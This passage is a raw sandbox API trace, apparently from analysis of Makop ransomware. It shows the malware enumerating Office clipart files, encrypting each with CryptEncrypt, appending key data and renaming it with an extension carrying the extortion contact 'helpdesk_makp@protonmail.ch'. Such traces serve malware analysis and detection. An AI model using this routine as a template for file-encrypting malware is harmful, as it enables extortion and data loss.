hHeap=0x48a0000) returned 1 [0139.917] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.918] CloseHandle (hObject=0xf0) returned 1 [0139.918] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6425c00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6425c00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01154_.WMF", cAlternateFileName="")) returned 1 [0139.919] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF") returned 63 [0139.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.920] GetProcessHeap () returned 0x48a0000 [0139.920] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.920] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.920] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.920] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.920] GetProcessHeap () returned 0x48a0000 [0139.921] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.921] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.921] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.921] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.925] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.926] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.926] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.926] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.926] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.926] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.926] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.926] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.926] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15b0, lpOverlapped=0x0) returned 1 [0139.928] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15b0, dwBufLen=0x15b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15b0) returned 1 [0139.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.928] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x15b0, lpOverlapped=0x0) returned 1 [0139.928] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.928] SetEndOfFile (hFile=0xf0) returned 1 [0139.935] GetProcessHeap () returned 0x48a0000 [0139.935] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.935] GetProcessHeap () returned 0x48a0000 [0139.936] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.936] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.937] CloseHandle (hObject=0xf0) returned 1 [0139.938] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1858, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01157_.WMF", cAlternateFileName="")) returned 1 [0139.938] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF") returned 63 [0139.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.939] GetProcessHeap () returned 0x48a0000 [0139.939] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.939] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.939] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.939] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.946] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.946] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.946] GetProcessHeap () returned 0x48a0000 [0139.946] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.946] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.946] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.946] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.947] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.947] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.947] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.947] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.947] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.948] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1858, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1858, lpOverlapped=0x0) returned 1 [0139.949] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1860, dwBufLen=0x1860 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1860) returned 1 [0139.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1860, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1860, lpOverlapped=0x0) returned 1 [0139.950] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.950] SetEndOfFile (hFile=0xf0) returned 1 [0139.957] GetProcessHeap () returned 0x48a0000 [0139.957] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.957] GetProcessHeap () returned 0x48a0000 [0139.957] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.957] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.959] CloseHandle (hObject=0xf0) returned 1 [0139.959] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf04c7b00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf04c7b00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01158_.WMF", cAlternateFileName="")) returned 1 [0139.959] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 63 [0139.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.964] GetProcessHeap () returned 0x48a0000 [0139.964] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.964] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0139.968] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.968] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.968] GetProcessHeap () returned 0x48a0000 [0139.968] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.968] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.969] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.969] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.969] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.969] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.969] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.970] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.970] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.970] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.970] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c74, lpOverlapped=0x0) returned 1 [0139.972] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c80, dwBufLen=0x1c80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c80) returned 1 [0139.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.972] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c80, lpOverlapped=0x0) returned 1 [0139.972] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.972] SetEndOfFile (hFile=0xf0) returned 1 [0139.979] GetProcessHeap () returned 0x48a0000 [0139.979] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.980] GetProcessHeap () returned 0x48a0000 [0139.980] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.980] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.982] CloseHandle (hObject=0xf0) returned 1 [0139.982] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1694, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01161_.WMF", cAlternateFileName="")) returned 1 [0139.982] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF") returned 63 [0139.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.985] GetProcessHeap () returned 0x48a0000 [0139.985] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.985] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.985] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0139.989] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.989] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.990] GetProcessHeap () returned 0x48a0000 [0139.990] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.990] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.990] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.990] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.990] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.990] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.990] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.990] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.991] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.991] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.991] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.992] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1694, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1694, lpOverlapped=0x0) returned 1 [0139.993] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16a0, dwBufLen=0x16a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16a0) returned 1 [0139.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.994] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16a0, lpOverlapped=0x0) returned 1 [0139.994] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.994] SetFilePointerEx (in: hFile=0xf0, 